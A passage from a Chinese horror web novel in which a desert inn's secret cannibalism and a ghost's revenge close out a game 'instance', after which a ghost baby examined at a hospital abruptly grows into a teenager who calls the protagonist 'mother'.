他总觉得李裴山从厨房端出来的肉干味道很怪异,有种说不上来的腥气,入口嚼劲并不像牛肉干似的芬芳,反而干柴十足,口味很独特,总之这味道说不上好吃,但是饱腹感很强,江寻也就没多想。 不过……随着时间的推移,他发现这个客栈里的异样并不是只有肉干难吃这么简单。 李裴山很喜欢大半夜在后院溜达,有时候江寻睡的迷迷糊糊,夜里起床上厕所的时候,隐约能听到李裴山在后院窸窸窣窣刨土的动静。 第二天早上他故作不经意的去问李裴山,说:“李大哥,你昨天晚上,是在后院里忙家务吗?有需要帮忙的你记得告诉我,我可以给你搭把手。” “毕竟这么些天,白吃白住你的……”江寻腼腆的挠了挠头:“我们也怪不好意思的。” 李裴山正一手拿着菜刀,一手抓着案板上的干肉块,漆黑的火枪就放在不远处,反射着危险的光泽。 “没有,后院有些土要翻新。”李裴山漫不经心的回答:“我想在空地上种上一些菜和豆子。” 江寻面上什么都没说,仍然维持着那副腼腆的模样点头,心里却越发觉得不对劲。 沙漠里能有什么土? 还需要翻新? 那玩意儿不是一刨就是散沙吗? 何况沙漠不比土壤,沙漠是由沙粒构成的,沙粒哪能种菜种豆子啊?! 这不是扯淡吗? 江寻一边面上对李裴山陪笑,一边心中思索着脱身的退路。 首先得先告诉燕欢,然后两人找一个李裴山睡着或者不在家的空档,赶紧逃走,一刻也耽误不得了。 他的直觉告诉他,李裴山有问题。 可具体哪里有问题呢,江寻也说不上来。 他回去将自己的担忧告诉女友时,女友却对此持不赞成意见。 燕欢觉得,这大叔顶多就是作息诡异,做饭难吃,不爱说话了点。 但是他既然肯收留他们,说明他人并不坏嘛,不然干嘛让他们在沙漠这么物资匮乏的地方白吃白喝呢? “算了,欢欢,我觉得我们还是回去,听医生的话,好好调养身体,我们会有孩子的。”江寻着急的压低声音,在房间里拉着女友的手小声劝道。 “我越想越觉得,美人骨血它就是个传说,这传说最开始是医院流传出来的,我后来打听了一下,好像还是从精神所最先传开的,那这事是真是假都不好说呢,唉,说起来也怪我……这两年备孕备的太心急了,来沙漠之前都没打听清楚情况。” “咱是二十一世纪的人,就算那偏方传的再神乎其神,也得相信科学,是不是?” 江寻握着燕欢的手,小声哄道:“走吧欢欢,我们回去。” 燕欢脸上浮现出一丝犹疑的神色,半晌她垂丧的点了点头。 “好吧,反正我们就算是进到沙漠里了,也不一定找到美人骨血。” 江寻松了口气,凝重的跟女友对视着,终于做了这个决定。 就在这时,身后的门开了。 李裴山站在门外,神色阴鹜的盯着他俩。 江寻和燕欢毕竟是两个生长环境单纯的年轻人,哪里反应的过来这种场面,一下子齐齐吓得呆在原地了,惊恐的眼神发直,连逃跑的下意识反应都没有。 李裴山手里拿着枪,一步一步,走到了他们面前。 “你……你要干什么,李大哥……”江寻挡在女友面前,结结巴巴的说。 李裴山看着这两个被吓得像鹌鹑似的年轻人,忽然笑了。 “兄弟。”他放下枪,拍了拍江寻的肩膀,开口道:“我跟你交个实底吧。” 他扫了一眼燕欢和江寻,吩咐一声:“你俩跟我来。” 随即自己转身下楼。 燕欢和江寻惴惴不安的互相对视一眼,只觉暂时也没有别的办法,只好跟了下去。 李裴山将他们带到了后院那堆被翻动过的沙子面前,然后就没看他俩了,他自顾自的拿起寻常用的那把铲子,一下一下的刨起了土。 江寻和燕欢在旁边面面相觑的看着,不知道这人作何打算。 沙漠里风尘骤起,铁楸扬起密密麻麻的沙砾四下飞舞,李裴山最终在沙土地掘开了一个坑,他挥手示意燕欢和江寻凑过来看。 坑底躺着一具干瘪的尸体。 那尸身通体瘦削,水分已经被蒸发到极致了,表面的颜色呈现出一种灰黄与古铜交织的色彩。 燕欢尖叫一声,魂不守舍的向后躲去,跟江寻两人瞬间瑟缩着抱成一团,一动都不敢动。 “这是什么!?” 李裴山扔了铁楸,直白道:“既然二位都问了,我也就不隐瞒了,你们眼下看到的这具尸体,就是传说中的美人骨血。” 从神情上来判断,江寻和燕欢显然是不信的,他俩仍然战战兢兢的抱着彼此,生怕眼前的男人下一秒就挥着铁锹上来把他俩一并在土坑里埋了。 李裴山嘴角流露出一线诡异而迷离的笑纹,压低声音道:“这可是好东西,你们俩找了这么长时间美人骨血,不会连美人骨血是什么都不知道吧?” 燕欢和江寻惊恐的看着他。 “美人骨血就是西域干尸啊,你们这些天吃的一直就是美人骨血,但是你们不知道而已,本来也不想让你俩知道,毕竟这可是好东西,只要是好东西,就会有人来抢,我一直把这个宝贝藏在地底下,生怕被别人看上抢走了,后来看你们这对小夫妻实在合我眼缘,就拿出来给你们吃了。” 李裴山这话说的很和颜悦色,他甚至站在坑底,朝江寻招招手,示意他过来检查。 “你过来看,看看它是不是真的千年古尸,然后你就该知道我说的没错了。” 江寻犹疑着看了看女友,然后跳下土坑,李裴山将铁锹递给他,让他拿着铁锹去检查尸体的触感和真实性。 于是江寻接过铁楸,在土坑里的那具“古尸”上不轻不重的拍打数下。 古尸表皮发出“扑簌簌”的响动,风化的肌肤外侧滚落下几片陈旧的死皮,仿佛真的像是千年前的人类遗迹,看起来既古老,又栩栩如生。 江寻和燕欢学历不高,也没有相关的人体生理和生物学知识,他们没法判断眼前的尸体到底是什么时候死的。 只是觉得这具尸体好像还真挺像那么回事的。 江寻迟疑半晌,最终接受了这个解释。 他跟燕欢对于原先误会李裴山的事情,向李裴山致以了真诚的道歉。 “李大哥,主要是我俩之前真没想到你居然就有美人骨血,也没想到你人这么好……”江寻很不好意思的对李裴山道。 李裴山摆手表示没关系,看起来大度而体贴,眼睛里闪动着快意而兴奋的光芒。 宋楚秀的尸体在过去的一两个星期中,已经被当成每顿饭必备的肉材损耗大半了,再接着把她当美人骨血吃几顿,就只剩一具骨架了。 他到时候再把枯骨往沙漠里一埋,这桩罪行就算彻底被掩盖下去了。 就算是宋楚秀的家人来找,也绝对难以揪住任何把柄。 沙漠里的日子在慢悠悠的过下去,江寻,燕欢,李裴山,三人每天照常吃饭,休息,在沙漠附近溜达。 江寻和燕欢一边每天摄入“美人骨血”,一边满怀幸福的备孕。 他们虔诚的觉得,在美人骨血的帮助下,他们很快就要有自己的宝宝了。 …… 诡异的事情是在两个星期后开始接连发生的。 两个星期后,宋楚秀尸体上绝大部分的肉块都被啃食干净了,为数不多的肉沫只能在骨架的边缘找到一点,再就是那些很难砍断的肉筋,李裴山每天都要拿着小刀,在骨架边缘反复刮蹭,才能扒拉下来几小块肉丁。 他看着宋楚秀白森森的枯骨,心里思索着时间,差不多可以把她埋进沙漠里去了。 怪事就是当天晚上发生的。 燕欢起夜上厕所,穿过走廊下楼的时候,忽然看到楼梯上站着个绿色上衣,深色工装裤的年轻女孩,看打扮不像是这个世纪的人。 她缓缓朝燕欢拧过头来,惨白的面容咧开一道缝隙,笑容嫣然而狰狞。 “我的身体好吃吗?” 燕欢吓得一脚踩空,直直滚下楼梯,摔的失去了意识,等到江寻发现她的时候,燕欢已经出气多进气少了。 “李大哥!李大哥!”江寻将女友打横抱起,踉踉跄跄的去寻求李裴山的帮助。 李裴山的卧室空无一人,他焦急的在客栈上下来回打转,最后最终听见厨房传来几下动静。 江寻慌慌张张的推门进去,接下来的一幕惊悚到了极点,让他永世难忘。 李裴山仿佛被空中一股无形的力量操纵着右手,手上握着平时用来切割“美人骨血”肉块的那把菜刀,刀锋一斩而下,将他左手手臂齐根切断,鲜血瞬间喷涌而出,犹如一股红色的喷泉,哗啦啦流淌。 江寻肝胆俱裂吼叫起来,他完全不知道这是怎么一回事,这场景太恐怖了。 李裴山握着那只断手,整个人疼到发颤,目光却仍然死死盯住厨房里虚空一角,仿佛那里就站着砍下他手臂的凶手。 厨房里当然站着凶手。 一个只有李裴山能看到的凶手。 宋楚秀长着年轻的样貌,纤瘦而柔美的站在厨房里,朝李裴山微微一笑,轻轻抬手下挥,李裴山瞬间将刀锋压的更紧,手臂最后一丝连接的筋骨也随之断裂开来。 焕发出无穷无尽的血色,正如那天枪响后,宋楚秀惨淡倒地时的光景。 以牙还牙,以眼还眼,古来如此。 李裴山和燕欢很快在这座孤零零的沙漠客栈里丢了性命,江寻精神失常后也没从沙漠里离开。 三人形成了一个诡异的怨气场,始终聚拢着这方沙漠,从此以后轮回迎接着一茬又一茬的玩家。 …… 齐栩和楚明铮陷进漫长的沉默里,一时不知道该说什么。 小鬼婴已经在楚明铮怀里又睡着了,宋楚秀的回忆也落下了帷幕。 过了片刻,齐栩为难的一摊手道:“奶奶,咱得讲点道理,是不是?” “我们俩可一口肉都没吃,我俩也挺尊敬上个世纪高知分子的,您要是把我俩也变成干尸,我俩可太冤了啊。” 宋楚秀的目光在齐栩和楚明铮之间来回梭巡,最后定格在了他们的身后某处。 她轻声叹了口气:“是啊,可这由不得我说了算,这个沙漠里的鬼,每一个都有怨气,我倒是可以放过你们,但是其他人,就不一定了。” 楚明铮脸色大变,迅速回头,只见身后赫然站着江寻和燕欢两人。 这对年轻的夫妇已经褪去了活人的模样,全身都是灰黄交织的古铜色,每一寸皮肤都干瘪下去,凝聚成皱巴巴的纹路状,指甲和头发风化消散,眼球也萎缩掉了,空荡荡的两个小黑点,点缀在眼眶里,稍微一动,黑点就掉进颧骨底下。 李裴山跟他们的情态一模一样,连同宋楚秀在一起的四具干尸直挺挺的包围了齐栩和楚明铮。 齐栩云淡风轻的环顾着四周,说时迟那时快,他骤然将楚明铮朝门口的方向一推:“出门右转,朝三点钟方向跑!出了沙漠边缘,他就奈何不了我们了!” 楚明铮不需要他讲第二遍,翻身起跳,直直掠过江寻和燕欢,狂奔而出! 两具干尸毕竟作古已久,在反应能力上远远不及活人,但是当他们意识到有东西从他们的眼皮子底下跑了的时候,还是闪电般拧身,迈着干瘪的尸身追了出去。 大漠风声呼啸,瞬间掠起一地残沙。 齐栩反手夺枪,从系统里迅速调取火枪子弹,“咔哒”两声子弹上膛,对准紧随其后的李裴山就是两枪! 李裴山的躯体已经死过一次了,见此场景根本不怕,只见子弹巨大的冲击力将他的脑壳瞬间掀翻出去,只剩下四肢的躯干余势不减,仍然以一个极其恐怖的力道泰山压顶而来。 齐栩凝神,注意力高度集中,凝聚到一线—— 下一个瞬间他一手握枪托的同时身形一矮,抬腿横扫,将李裴山的下盘飞踹出几米远,趁着这几秒都不到的间歇功夫,他返身抢步出门,去追楚明铮。 不远处的沙丘顶上,楚明铮一手捞住小鬼婴,一手掌心撑地,屈膝朝上,用力一顶江寻干尸的喉咙。 两具干尸全都大张着嘴,不依不饶的朝他咬来,血盆大口,狰狞至极。 楚明铮用力将江寻的喉咙用膝盖骨碾碎,干尸的人体组织其实是很脆弱的,只要找准一个点发力,其余骨骼组织结构无一不四散开来,“咔嚓嚓……”连同脊椎骨和喉骨一并碎裂,沉重的头骨随之向后仰去,承受不住力道,自己掉落下沙丘。 头颅没了,身体的其他部位对此一无所知,继续发狠的攻击楚明铮。 楚明铮甩开迎面而来的燕欢,抱着小鬼婴,干脆利落一个打滚,迅速滚下沙坡,起身时有人扶了他一把,楚明铮原以为是燕欢,刚要动手,抬眼就对上齐栩的眼睛。 “走!”齐栩气喘吁吁的对他说了一声,将他跟小鬼婴带着,沿着沙漠边缘的方向一路狂奔。 “你怎么知道我们该走哪个方向?”楚明铮气喘吁吁的问道。 齐栩抬手一指对岸,示意道:“风,风吹过的方向,就是出路。” 大漠夜色浓重,无边沙丘连绵,广袤而无垠。 楚明铮自己也不知道自己跑了多长时间,他只记得四面都是黄沙,耳畔全是风声,掌心里透着齐栩的体温。 直到他力竭倒地的前一秒,膝盖跪上松软的沙粒,沙丘峰顶不停的向下陷落,陷落…… 等到楚明铮再有意识的时候,他就又重新置身于齐栩府邸,那间熟悉的卧室中了—— 作者有话说:副本总算结束了[狗头叼玫瑰][狗头叼玫瑰]晚上还有一更[比心] 第68章 “楚先生,您真是一位伟…… 楚明铮精疲力尽,脚步踉跄了一下,很快跌坐在一旁的沙发垫上。 小鬼婴刚才一直被他揉在怀里,逃亡途中也无暇顾及,这会儿他随着楚明铮的身形一起往地上一倒,冷不防从楚明铮的衣襟中无力滚落到了地上。 齐栩俯身将他们两个一手一个,一并拖拽着抱起来,放回床上。 楚明铮瘫在床褥间,一根手指头都不想动。 “至于吗师父……”齐栩哑然失笑着去逗弄了一下楚明铮的下颌:“我记得小时候,你把我背在背上一口气在副本里跑五公里都没问题,现在体力怎么下降成这样?” 楚明铮不耐烦的挥开他的手掌,没好气道:“体力为什么下降,你自己心里没点数?去客厅给我倒水!” 齐栩抬手按下了床头的呼铃,交代了一声,楼上值班的警卫很快端着两个盛满水的玻璃杯下来了。 楚明铮一骨碌从床上跳起来,从中拿起玻璃杯一饮而尽,连个顿都没打。 显然是沙漠这几天被渴坏了。 齐栩一边自己也端过水,一边看着他笑,不紧不慢的抿了几口,可能是身体确实被改造过的缘故,他倒是不太渴。 他将楚明铮咕嘟咕嘟喝水的模样欣赏了几眼,注意力又落回小鬼婴身上。 “师父。”齐栩奇怪道:“他怎么从出来开始就没动静了?” 楚明铮将喝空的杯子放回警卫手中的托盘里,转身跟他一起去看小鬼婴的情况。 只见小鬼婴一动不动的躺在床上,毫无声息。 大概是作为母体特有的直觉,楚明铮觉得有点不对劲。 众所周知,鬼婴是没有呼吸和心跳的,所以他大部分睡着的时候,也都没有动静。 但是正常婴儿的翻身和流口水他都会有。 而此时小鬼婴很安静的躺在床上,一点动静都没有。 楚明铮伸手拍了拍他:“醒醒。” 小鬼婴不动。 楚明铮又掐了掐他的脸:“你是睡着了还是累昏过去了?不对啊,跑步的又不是你,你在我身上挂着,你晕什么?” “可能就是被你颠簸晕的呢?”齐栩猜测到。 “胡扯!”楚明铮暴躁道。 “现在怎么办?孩子没气了。”楚明铮的脸色难掩焦虑。 “他本来就没气。”齐栩安慰。 “你能说点靠谱的吗?” 齐栩瞅着他的脸色,忽然像发现新大陆了一般道:“师父,我发现你现在对这个孩子越来越上心了。” 楚明铮阴测测的瞪了他一眼。 齐栩立刻划拉嘴唇,示意自己闭嘴。 “长官!长官!”焦副官的声音从楼上传到楼下,转瞬越来越近,咚咚咚敲着楚明铮卧室的门。 齐栩起身开门:“什么事?” “长官。”副官压低音量:“您赶紧去主控中心一趟。” “我刚出副本,让他们有什么事明天再说——” “是主神!” 齐栩沉默了两秒。 “行,我现在过去。” “对了,你派个人陪我师父去趟医院。”齐栩一边披外套,一边吩咐道。 副官一脸关切的去看楚明铮:“哦行行行,楚先生您是哪里受伤了?” “不是他,是孩子。”齐栩轻描淡写道:“带孩子去检查一下身体。” 副官:“?” 楚明铮返身将小鬼婴从床上捞起来,给他示意了一下:“他好像睡不醒,带去检查一下放心。” 副官的目光在楚明铮和齐栩两人的脸上各自游走半晌,最后又落到小鬼婴身上,默默的露出一丝欣慰的神色。 有种家里长辈看着新婚小夫妻和和美美过日子的感觉。 楚明铮被他看的莫名其妙,摸了摸自己的脸,神情狐疑:“怎么了?” “没怎么,没怎么……”焦副官慈祥道:“待会儿派祝姐陪你们去。” …… 两件事情都耽误不得,齐栩和楚明铮刚从副本里出来,还没来得及躺下来睡一会儿,就兵分两路赶紧出门去了。 先说楚明铮。 祝檀雪来的时候很贴心的给孩子带了奶瓶和防风的襁褓,给楚明铮打开车门,让他侧过上车。 “谢谢。”楚明铮顺手把孩子交给她。 小鬼婴窝在副驾驶的宝宝椅上,一声不吭,耷拉着眼皮,再加上他原本就没有呼吸和心跳,此时看起来更是同一个现实生活中的死婴没有任何区别。 祝檀雪面不改色的将他放在副驾,一脚油门开车疾走,朝着私人医院的方向飞驰而去。 “你车上为什么会有宝宝椅?”楚明铮在后排疑惑道。 祝檀雪显然不像是做母亲的人,会置办宝宝椅的这件事情显得很奇怪。 “十分钟之前接到任务的时候买的。”她坐在驾驶座上转动着方向盘,轻描淡写的说。 楚明铮惊讶:“十分钟之前?” “上司要求我带他的家属去看病,做好万全的准备是一个秘书最基本的素养。”祝檀雪道。 楚明铮:“……” “虽然我敬佩你的业务能力。”他盯着窗外徐徐倒退的风景说道:“但是我不是齐栩的家属,你搞错了。” 祝檀雪不跟他争这个,和颜悦色的应了一声好,继续开车了。 不多时,楚明铮就跟着祝檀雪站在了医院走廊里,这应该是单独服务于主控中心高层的私人医院,四下都没什么人,各个科室分开排序,走廊里安静的落针可闻。 “你们这分门诊吗,他这情况应该挂哪个科?”楚明铮跟在祝檀雪身后,手里抱着小鬼婴,一路絮絮叨叨的问:“儿科吗?” 祝檀雪笑了,回头解释道:“不用,直接安排全身检查就好,已经有人在等我们了。” 楚明铮沉默了两秒,无可奈何的点了下头。 祝檀雪带着他一路向里走,穿过明亮的走廊,四面墙壁晕染着令人身心愉悦的点缀色泽,他忽然想起十几年前的一个场景。 那时候他刚收养齐栩不久,齐栩还是个十岁出头的小朋友,他妈的生病都得挂儿科。 半夜急病发高烧,温度怎么都降不下去。 楚明铮将他用毛毯一裹,把小孩往肩膀上一扛,直接带着就上医院去了。 儿科医院人满为患,齐栩裹着毯子,脸蛋烧的红扑扑的坐在医院冰凉的铁制长椅上,看起来又瘦又小,瑟瑟发抖。 楚明铮在机器前挂了号,返回门诊里找那小男孩,一眼就看见了他。 事实上压根不用费心思找,人群中望过去,最瘦最畏缩,看起来最可怜的那个小病号,就是齐栩。 这孩子怎么被他养的跟个小黄花菜似的…… 楚明铮漫不经心的想到,明明自己也没亏待他啊。 他拿着缴费单,缓步走到齐栩面前,伸手将他的毛毯又掖了掖,盖好了几处漏风口。 齐栩怯生生的抬起头,用病的气息奄奄的嗓子喊了他一声:“师父。” 楚明铮叹了口气,伸手将他脑袋一揉搓:“乖,待会儿听医生怎么说。” 齐栩虚弱的埋在毯子里,沙哑道:“师父,看病的钱,是不是很多啊?” 楚明铮一怔,心道你多大的一点人,一天胡思乱想什么呢,我都收养你了,带你看个病我还能让你以后还钱不成吗……不过他看着这小男孩可怜巴巴的憔悴模样,难得起了几分逗弄的心思。 “是啊,可贵了,下个月基地要省着点花销了。”二十多岁的楚明铮眼底狡猾神色一掠,开始信口雌黄,欺负小朋友道。 齐栩的眼眶蓦然就红了。 “我,我以后长大了,会还给你的……”小男孩断断续续的掉眼泪道,红通通的小脸皱在一起,看起来难受到极点了。 楚明铮见状忍俊不禁,抬手掐了一把小朋友的脸颊:“没事,反正你已经卖身给我了,花多少钱以后就留下来给我打多长时间工,我们就扯平了。” …… “楚先生,把他给我吧,医生和器材已经就位了。”祝檀雪的声音打断了他的回忆。 楚明铮连忙将小鬼婴交出去,祝檀雪接过孩子,进屋递给医生,然后她也出来了。 楚明铮眉心一挑:“你不跟着进去?” “我不是医护人员,不能参与检查的。”祝檀雪温言解释。 “你们这医院好奇怪。”楚明铮打量着四下的环境道:“连家属都不能进去吗?” “不能。”祝檀雪依旧温和道。 “能进入这个医院的人,系统级别绝对不低,他们的身体里都藏着很多不为人知的秘密,在医院工作的每个人,都在主神的祭坛面前签署过保密协议,沾染灵气的协议,与人神契约无异,一旦违反,违誓者就会神魂俱散。” 楚明铮嗤笑一声,评价道:“玄乎。” 祝檀雪双手交叠,放置身前,一副端庄而不爱说话的肃穆模样。 楚明铮又盘算了一会儿,开口问道:“你说系统里的人,身体里都藏着很多秘密,这些人里也包括齐栩吗?” 祝檀雪微微一笑:“就属他秘密最多了。” 楚明铮了然,不置可否的摇了摇头:“没感觉。” “您是他的枕边人,肯定察觉的到的。”祝檀雪轻声道:“都藏在生活的细节里,只是您并不关心他罢了。” 楚明铮听到这话就恼火:“我不是他的枕边人!再说我为什么要关心一个限制我人身自由的神经病?” 祝檀雪很快的低下头道歉:“对不起楚先生,是我多话了。” 楚明铮深吸一口气,强迫自己收回胸腔里的郁闷,不能跟一个女士发火。 两人站在走廊里,很长时间都没有二话了。 病房内,满屋子的医疗机械嗡嗡震动,窗帘拉的严丝合缝,几乎透不出来一线天光。 小鬼婴躺在冷硬的检查台上,手脚都被上着束缚带,浑身上下不着寸缕,宛如一具白森森的骸骨。 “老师,这还是我第一次亲眼见着副本里的产物呢。”一个实习医生小声在旁边道。 “真神奇啊。”另一个医生赞叹:“他完全没有呼吸和心跳,但是他却是个活物。” “而且据齐长官那边的说法,这个鬼物是在他进上一个副本的时候出来的,也就是说从出生到现在,也就不到一个星期的时间,孩子居然能长这么大。” “好了。”坐在检查台正前方的那个医生严肃的推了一下眼镜。 他看起来明显比周围的几个人岁数要大一点,也是他们当中领头的灵异医学教授,这次对于小鬼婴的身体检查,是他得到消息的第一时间,就找领导申请下来,要求他来负责的。 “这个机会很难得。”医学教授郑重的说道:“一个在副本里的冤魂,却阴差阳错的被一个活人给生下来,居然还带出来了,我不敢想象这个孩子的体内得隐藏多少我们可遇而不可求的奥秘。” “如果破获了这个孩子的身体结构之谜,从此以后,或许……在副本里死去的人,也能换一种方式,重归人间了。” 一众白大褂七手八脚的忙碌起来,对小鬼婴的各个器官部位,大脑意识反应全部进行检测和实验。 小鬼婴的浑身都被插上了管子和仪器。 一个小时后。 “老师,真的没有一点动向。”实习医生失望的放下仪器:“找不到一丝不同寻常的地方,就是普通的死人。” 医学教授的眉心逐渐拧了起来。 怎么会这样…… “而且他送来的时候就完全没气息,也一直在昏迷。”另一个实习医生补充道。 “老师,会不会是我们搞错了,根本没有他们说的那样神乎其神,齐长官……齐长官在骗人,他只是从副本里带了个死人出来而已……” 这人话音未落,随即招来几道凌厉的瞪视。 “你疯了吗,在这种地方议论齐栩?”白大褂之一的师姐呵斥道。 屋子里众人很快都不出声了,但是脸上无疑都写满了失望。 “算了,那就按常态流程来一遍,弄完以后给外边的人推出去,就说我们尽力了。”医学教授疲惫的摆摆手,示意学生们看着办。 他站在病房里侧的小窗口处看着外边,忽然问:“送他来的人,是不是楚明铮?” “啊?那个男的就是楚明铮?”几个实习医生齐刷刷的围了过来,不约而同朝窗口外探头探脑。 “没认出来哎,他跟总排行榜上的那个证件照长得不太一样了。” “废话,那是人家十几岁的证件照,楚明铮现在都三十好几了吧,长得能一样吗……” “也是如雷贯耳的名字啊,我还是第一次见他呢。” 病房里的隔音效果很好,一群人围在门口叽叽喳喳,外界也听不到分毫。 医学教授盯着窗外楚明铮的侧影,眼神晦涩,不知道在想什么。 身后仪器突然爆发出一阵刺耳的鸣笛声。 众人齐齐吓了一跳,同时回过头去,就看见了让他们极其震惊的一幕。 只见捆缚小鬼婴手脚的束缚带正隐隐打颤,好几个仪器的表盘都发出了不堪重负的嘎吱声,与此同时头顶的白炽照灯也开始忽闪忽灭—— “怎么回事!怎么回事!” “教授您快来看!”离小鬼婴最近的那个实习生惊慌失措的大喊道。 “他,他好像在……长大?” 这个形容令人极其的难以理解,教授没搞明白这学生所表述的含义。他快步走上前,决定自己一探究竟。 半秒种之后,教授也全然怔住了。 他发现学生的话仅仅就是字面含义。 小鬼婴在长大。 在以一个肉眼可见的速度长大,他的骨骼,血肉,头发和汗毛等所有身体或细微或整体的结构都在飞快的生长,就位,运转……不出片刻功夫,这鬼婴的手脚就直接崩断了束缚带! 一众医学生目瞪口呆。 仪器上仍然没有显示出他有任何的心跳或者呼吸痕迹,但是他就是平白无故,在十秒钟之内,长成了十几岁青少年的模样。 小鬼婴仍然躺在那里,眼睫处细微的颤动了一下,但是不明显。 医学教授一个踉跄,被吓得差点摔在地上,几个学生连忙七手八脚的将他扶住,一叠声的哭丧着脸喊老师,这可怎么办。 “咱这算是救活了还是没救活啊?” “他,他怎么突然长成这样了?” “苍天,老师你以前跟楚明铮打过交道没有,他不会过来医闹吧……” 就在一行人正乱糟糟互相推搡的功夫里,躺在检查台上的鬼少年缓缓睁开了眼睛,从高台上,坐了起来。 教授:“?!” 学生们:“!!!” “啊啊啊啊啊——”众人尖叫着从病房里乌泱乌泱,争先恐后的跑出去了,生怕这怪物起来亲自医闹。 楚明铮坐在医院长廊的椅子上打盹,沉重的脑袋一点一点的,已经睡了快一个小时了。 此时冷不丁的被一阵巨大的吵嚷声惊醒,睡眼朦胧间险些一个趔趄从长椅上摔下去:“我去!怎么回事?” 他下意识往小鬼婴的那个病房里看,发现那嘈杂的源头正是从那间病房里传出来的。 楚明铮心里一沉,立刻起身,快步跑过去。 走到门槛处迎面撞上一个面色苍白,还丝缕不挂的……少年。 是的,眼前的少年大约十四五岁的模样,通体惨白,什么都没穿,从头到脚□□,画面十分壮观。 楚明铮:“……” 他有一个不太好的猜测。 下一秒,果然人的第六感是很准的,接下来的事实印证了这一点。 □□少年抬起眼睛,十分呆萌的喊了他一声:“妈?” 楚明铮:“……” 人生就是一场酣畅淋漓的天打五雷轰。 每当楚明铮觉得自己的生活要安稳一点的时候,命运就会把他抛向一个更扯淡的轨迹。 就像现在这样。 “你……”楚明铮艰难的扶着额头,脸色憋的通红,最后迸出来一句斥责:“不管你是什么东西,你先给我把衣服穿上!” 鬼少年无辜的眨了眨眼睛,转身看向病房里因为心脏过载而摇摇欲坠,滑倒在墙角吞食速效救心丸的教授医生。 “先生,您能把您的白色外套借我穿一下吗?我喜欢您外套的颜色。” 医生闻言刚才的速效救心丸全白吃了,“咕咚”一声,腿一蹬,彻底晕了过去。 鬼少年伤心的转过头,看向楚明铮:“妈妈,他不肯借我。” “闭嘴,谁是你妈!”楚明铮暴躁的扯下自己的外套,不由分说给他扣头包了上去,把鬼少年裹了个严实,遮住了这伤风败俗的一幕。 鬼少年一动不动,站在原地乖乖任他摆弄。 还好楚明铮临出门前嫌冷,换了身长款风衣,同时鬼少年的身形也就十四五岁的大小,跟楚明铮这个一米八出头的成年人相比较而言,身量不高,风衣完全能将他裹严实。 楚明铮给他把衣服穿好,这才后退一步仔细打量着他的面容和身形。 “你是什么东西?”他冷冰冰的盘问鬼少年。 “我不知道,我就知道我是从你肚子里出来的。”鬼少年的连个磕绊都不打的回答道。 楚明铮勃然大怒:“你胡说什么!” “妈,我没撒谎。”鬼少年委屈道:“我有从天家村到沙漠的所有记忆,我甚至还记得你在天家村的床上追着我爸打……” “谁又是你爸!”楚明铮崩溃道:“孩子,你能别乱说话吗?” “哦……反正就是那个在天家村跟你一起生我的男人,我不知道该叫什么,他名字太多了,一会儿姓齐,一会儿好像又姓许……我记不得了,但是我知道他长什么样。” 楚明铮太阳穴一阵突突突跳着疼。 鬼少年见他脸色不太好,但是又不知道他是怎么了,于是下意识上前几步,想向小时候一样往他怀里黏糊:“妈……” “站着别动!别喊我妈!”楚明铮猛然后退一步,断然制止了他上前的动作。 “哦……”鬼少年耷拉着眼皮站定了脚步。 “你现在具体记得多少事情?从哪儿开始,清晰度如何,前世的事记不记得?”楚明铮好不容易缓过一口气,扶着墙壁颤巍巍的问。 “我从出生起就开始记事了。”鬼少年小声道:“我什么都记得,连你生我时候,流的那满床血都记得,我当时嫌那些血水太黏了,弄到我身上难受,你睡着了,我就在你身边打滚,想把血蹭掉……” “然后我就被齐栩抱起来哄了,他怕我打扰你睡觉,我想跟他解释说我要洗澡,但是那时候我不会说话,只能忍了好几天。” 楚明铮回忆了一下,那大概都是一个星期前的事情了,小鬼婴在一个星期前,就拥有了正常成年人的记忆功能了吗? 这是什么生理奇葩? 鬼少年继续小声道:“我去便利店找你那次也是,我很早就感知到附近的灵力异样了,我想提醒你别出门,但是我不会说话,只能眼睁睁看着你进那个第二公会会长的圈套。” “后来我没办法,我就跟在你身后爬啊爬……像个蛆虫,一路爬到便利店开始哭吼,最后把他们都哭走了。” “等一下——”楚明铮被这巨大的信息量一时震惊的有点麻木了。 “你的意思是说,你从刚出生开始就有成年人的思维,你就能盘算到这些事情,并给出解决策略?” “是的妈妈,我一出生就是这样。”鬼少年诚恳道:“我一个星期就长到十四岁了,我发育的比较频繁,妈妈生的好。” “闭嘴,不许叫我妈妈。”楚明铮怒道。 “好的。”鬼少年伤心道:“好的,妈妈。” 楚明铮被这离奇的发展震惊的喘不过气来,不得不在走廊里来回踱步着走了几圈,缓和自己的情绪。 他现在完全不知道该怎么跟齐栩讲这个事情。 难道直接告诉对方:“嗨,徒弟,你有了个十几岁的大儿子,现在我把他送到你办公室去,记得签收一下哦~” 难道要他这样说吗! 楚明铮又震惊又烦躁,焦头烂额的青筋乱跳。 鬼少年偷觑着他的脸色:“妈妈,我能求你个事吗?” “虽然我不是你妈,但是你说。”楚明铮浑浑噩噩道,他这会儿盯着眼前平白无故长到这么大的儿子,简直不知道作何感想。 “我想要名字。”鬼少年眼巴巴的盯着他:“你给我取个名字吧。” “我想跟你姓,叫个楚什么……我不想姓齐,我觉得姓齐没有姓楚好听。” 楚明铮气笑了。 心说这都什么鬼。 走廊那头传来噔噔噔的高跟鞋声,祝檀雪焦急的从那头跑过来了。 “楚先生!楚先生您没事吧?”女秘书急切的问道:“我看那边好几个医生都从这里离开了,我还以为出什么事了呢……你旁边的这位是?” 楚明铮面无表情的转向她,言简意赅道:“他就是把医生吓走的原因。” 祝檀雪不明所以的打量着这位来路不明的少年,半晌都没反应过来。 直到她对上了少年那双漆黑的瞳孔,瞳孔边缘的皮肤显得越发惨白。 祝檀雪饶是在主控中心混迹多年,大风大浪全都见过,此时脸上也终于忍不住出现了一丝惊恐的裂纹:“你,你你……” “你是那个鬼婴!?” …… “反正事情就是这样。”楚明铮坐在返程的车上,一脸魂飞天外的对祝檀雪道。 “这他妈是个医学奇迹,怀胎一天就出生,出生三天会说话,一个星期以后长成了现在这样。” 祝檀雪在驾驶座上开着车,也没从震惊里回过神来。 “天啊……”她喃喃着道:“长官要是知道他有这么大一个儿子,不知道作何感想。” “我,我真是不知道说什么了,楚先生,您真是一个伟大的母亲。” 楚明铮默然半晌,磨了磨后槽牙,看起来想把这位司机扔出去。 “妈妈,之前一直有件事没问你。”鬼少年犹犹豫豫道。 楚明铮头也不抬,疲倦道:“问吧。” “你为什么在天家村一直想丢掉我,我有这么不讨人喜欢吗……” “废话,你是个鬼,又不是人,我为什么要喜欢个鬼?” 鬼少年呜咽一声,很丧的垂下脑袋:“可是我很有用啊,我帮过你那么多次。” 